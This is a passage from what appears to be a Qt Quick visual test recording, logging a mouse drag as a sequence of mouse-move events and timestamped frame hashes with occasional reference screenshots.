Mouse { - type: 5 - button: 0 - buttons: 1 - x: -2; y: -105 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 1; y: -151 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4192 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4208 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4224 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4240 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4256 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4272 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4288 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4304 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4320 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4336 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4352 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4368 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 4384 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 3; y: -151 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4400 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 4; y: -149 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4416 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 5; y: -147 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4432 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 5; y: -143 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 6; y: -138 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4448 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 7; y: -130 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4464 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 9; y: -117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4480 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 13; y: -94 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 20; y: -63 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4496 - hash: "b1b54f7bf8ab9cf98d96f9b34192434b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 29; y: -24 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4512 - hash: "a6c6df34bb552249393ba208ad327691" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 39; y: 15 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4528 - hash: "a05eb803b1f1f3574a2f2e08fe37bd35" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 49; y: 50 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 58; y: 74 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4544 - hash: "3c2f3db46673c2640a26832900b609cb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 65; y: 91 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4560 - hash: "d0539a9791874f48634bb3cb9f78d9db" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 71; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4576 - hash: "f2d862a0b81e2578799d64aef2e6bddc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 77; y: 112 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 81; y: 121 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4592 - hash: "295ef097845e30064c4d810a7718896c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 86; y: 128 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4608 - hash: "22a4a17d82ac402c0e8372861609ff1c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 92; y: 136 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4624 - hash: "a70e81b1435afd77b9079c58685ef9d0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 98; y: 143 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 104; y: 151 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4640 - hash: "d66fefd68fcd96834548c18797eee4bd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 159 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4656 - hash: "fcc435dc6f2643cd21a7cfac078880af" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 118; y: 166 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4672 - hash: "736edfcf33245d46aaea199634896c17" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 123; y: 173 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 129; y: 183 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4688 - hash: "7b7ab312d0c6f4bfc87a2ae467324f4e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 137; y: 197 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4704 - hash: "d78ce756fc27055eeee15001419b7fb5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 146; y: 215 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4720 - hash: "4f15a726939d7f489d1fe58ebb5bcd0a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 157; y: 235 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 168; y: 255 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4736 - hash: "72184d71fd2fdc6786a43045db0be68f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 180; y: 274 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4752 - hash: "3b3f3f34218bf238f310412cb8c4968d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 192; y: 293 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4768 - hash: "24c00a7154471431d43b1db957ad6424" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 205; y: 316 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 221; y: 343 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4784 - hash: "30081a33ab007ff2c7ba6cc293a5aec3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 237; y: 371 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4800 - image: "drag.4.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 253; y: 396 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4816 - hash: "c0cadb7730838d553b146804c37506b0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 268; y: 419 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 276; y: 429 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 284; y: 438 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4832 - hash: "101c007d0e2cf82331ba1cab4880e8a2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 291; y: 448 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4848 - hash: "72e46df7427420c5e942a97831723d3f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 307; y: 468 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4864 - hash: "4b7a009b46982a1e9e31250d7ebf0a20" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 323; y: 492 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 341; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4880 - hash: "a3ba70933b6452fad0cdc4192e04be23" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 359; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4896 - hash: "c2ee16182222b403f914eb5550ac6f91" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 378; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4912 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 397; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 416; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4928 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 432; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4944 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 445; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4960 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 456; y: 506 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 466; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4976 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 475; y: 506 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4992 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 482; y: 505 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5008 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 488; y: 504 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 492; y: 503 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5024 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 496; y: 503 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5040 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 500; y: 502 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5056 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 507; y: 501 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5072 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 512; y: 500 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 516; y: 498 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5088 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 494 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5104 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 525; y: 486 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5120 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 532; y: 472 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 542; y: 445 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5136 - hash: "9356ce797d12ae076af947cd0e658551" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 553; y: 414 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5152 - hash: "76a8d3b8465f08fdc4586c7766667eff" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 563; y: 389 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5168 - hash: "569e56ba99776d03dd3140e53bc77f56" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 569; y: 373 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 573; y: 363 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5184 - hash: "7139c72a2458685006da79d9cf11bc44" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 577; y: 354 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5200 - hash: "a83d5ef213edec4c8f938ab04afb5c4f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 580; y: 344 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5216 - hash: "5533602bc8a473c162966142d4bddebd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 584; y: 321 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 586; y: 301 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5232 - hash: "7a79d6e31874428233e9c141d70522fd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 588; y: 264 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5248 - hash: "b14f4daeb25cd71baae36f4cec111813" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 591; y: 238 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5264 - hash: "e2b2513d2918ffb85bab5fff5a8be644" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 592; y: 225 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 593; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5280 - hash: "af0cbb3423491917db1fdaa8350d48b0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 594; y: 209 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5296 - hash: "b9c107f0a13ad37ae05b4d5f9e5f5442" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 594; y: 200 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5312 - hash: "0bbc0c7a4a40ee6b19565c04c23b565d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 594; y: 182 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 593; y: 146 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5328 - hash: "49494e8526a1417c151c7cac7099b9e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 590; y: 107 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5344 - hash: "5e0839c4414cc8ddc5241c658fd3bf88" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 585; y: 80 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5360 - hash: "8f061986df633c21dcad767ee857988c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 582; y: 67 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5376 - hash: "d78c0a4fa0ccad407a565fab3a5c95b9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 579; y: 61 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 576; y: 57 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5392 - hash: "cee6816f84911bc2262afe28d8996719" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 573; y: 55 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5408 - hash: "2cc6cd514ef7299dd60bf1a735b81d36" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 569; y: 51 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5424 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 564; y: 44 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 557; y: 35 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5440 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 548; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5456 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 540; y: 14 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 532; y: 5 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5472 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 524; y: -1 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5488 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: -5 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5504 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 510; y: -9 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5520 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 501; y: -14 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 492; y: -18 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5536 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 483; y: -21 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5552 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 476; y: -21 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5568 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 470; y: -19 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 464; y: -15 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5584 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 458; y: -9 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5600 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 452; y: -3 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5616 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 446; y: 4 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 439; y: 11 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5632 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 432; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5648 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 424; y: 29 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5664 - hash: "68c40f3551d7d10e61c5ffbb6948c7e6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 413; y: 42 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 400; y: 59 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5680 - hash: "9bc8a652f43c0e3cae9492f5dff624e7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 392; y: 70 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 385; y: 79 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5696 - hash: "5465128afe72d9618cd9abc47f4ce72f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 378; y: 88 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5712 - hash: "ad739c2028caf8f89d8ae04d509c7854" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 366; y: 102 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 353; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5728 - hash: "97cd37f639a7bea76a2f68774c0753db" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 339; y: 126 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5744 - hash: "d24fc8a57dd34e6ddb726426247ec219" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 324; y: 140 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5760 - image: "drag.5.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 308; y: 158 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 288; y: 181 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5776 - hash: "7af87eb80fa9d87fe8d8b5e4a2fff5e1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 266; y: 208 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5792 - hash: "73623f4a857fd4d5150c2eeef1341540" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 243; y: 237 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5808 - hash: "076c4b60d9ec197950ade51e3f1be791" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 217; y: 265 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 191; y: 291 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5824 - hash: "22b7d7765c634763fa86912ea262efca" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 167; y: 314 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5840 - hash: "1267c017931bda0b88b4672f46d499e0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 147; y: 331 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5856 - hash: "b6a545e4c14b809f4ebcffbcb59a8e4f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 132; y: 344 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 121; y: 354 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5872 - hash: "b1085cb508d4613c76e99bc879c62cbf" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 363 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5888 - hash: "365fd1260c2109e6d5bd0a97ce3a7e4e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 100; y: 370 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5904 - hash: "3a7d001313b23cbbb7f3d842ab40f41b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 86; y: 377 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 66; y: 385 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5920 - hash: "c5bda48bb2eaee54d6d8416592830327" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 45; y: 394 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5936 - hash: "5d0fd6d8a6ced4f197fe3b09e7e9155b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 29; y: 402 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5952 - hash: "79e2825f98644c061ae5216ae1823e4b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 16; y: 410 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 6; y: 417 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5968 - hash: "22a3978f2f3a0cde67f459527af3b3f2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 0; y: 422 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 427 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5984 - hash: "1511bec94911dd272f78a726e15bf76e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 432 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6000 - hash: "0f892f7e570cdc703e492248c9f54b6c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 439 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6016 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 447 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 452 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6032 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 457 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6048 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 459 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6064 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 464 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 465 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6080 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 467 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6096 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 468 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6112 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 468 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 468 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6128 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 468 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6144 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 468 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6160 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 469 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 470 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6176 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 470 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6192 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Frame { - msec: 6208 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -4; y: 470 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6224 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -3; y: 470 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -3; y: 470 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6240 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -2; y: 470 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6256 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -1; y: 470 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6272 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -1; y: 468 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 0; y: 467 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6288 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 0; y: 464 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6304 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 0; y: 458 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6320 - hash: "ec34aa6937d2c081bdf11660a5eb461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: -3; y: 441 - modifiers: 0 - 